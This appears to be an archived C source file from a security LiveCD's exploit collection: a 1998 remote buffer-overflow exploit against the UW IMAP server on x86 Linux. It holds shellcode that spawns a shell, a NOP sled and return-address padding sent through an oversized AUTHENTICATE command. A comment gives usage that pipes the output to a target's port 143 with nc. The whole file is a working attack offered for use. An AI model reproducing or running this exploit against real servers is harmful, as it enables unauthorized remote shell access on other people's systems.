home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imapd / imap4r1-linux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  41 lines

  1. /*
  2.    UW Imap remote exploit for x86Linux by Juan A. Fernßndez JimΘnez
  3.    (carlosfdez@redestb.es)
  4.    Systems affect: Ummm...I only tested it in IMAP4rev1v10.203
  5.    Greetz to: Koji, Sud, Darkmoon, Marneus, NBH Group ...
  6.    How to use: # (./imaplinux;cat) | nc target_host 143
  7.    Note:
  8.    This exploit is based in the remote exploit created by Cheez Whiz.
  9.    You feel free to change the nops,offsets and esp...the shellcode is
  10.    all original from me... :P ...no problems with toupper()
  11.                 ESP=0xBFFFF04C for v10.203
  12.    22/07/98 23:26
  13. */
  14.  
  15. #define BUF 2048
  16. #define NOP 0x90
  17.  
  18. char shellcode[]=
  19.   "\xeb\x33\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x80\x46"
  20.   "\x01\x80\x80\x46\x02\x80\x80\x46\x03\x80\x80\x46\x05\x80\x80\x46"
  21.   "\x06\x80\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  22.   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff\xff\xff/ΓΘε/≤Φ.........";
  23.  
  24. char buffer[BUF];
  25. long int nop=422,esp=0xBFFFF04C,offset=100;
  26.  
  27. void main()
  28. {
  29.   int cont;
  30.  
  31.   memset(buffer,NOP,sizeof(buffer));
  32.   memcpy(buffer+nop,shellcode,strlen(shellcode));
  33.  
  34.   for(cont=nop+strlen(shellcode);cont < BUF-4;cont+=4) *((int *)
  35.         &buffer[cont])=esp+offset;
  36.  
  37.   printf("* AUTHENTICATE {%d}\r\n",BUF);
  38.   for(cont=0;cont<sizeof(buffer);cont++) putchar(buffer[cont]);
  39.   printf("\r\n");
  40. }
  41. /*                    www.hack.co.za              [2000]*/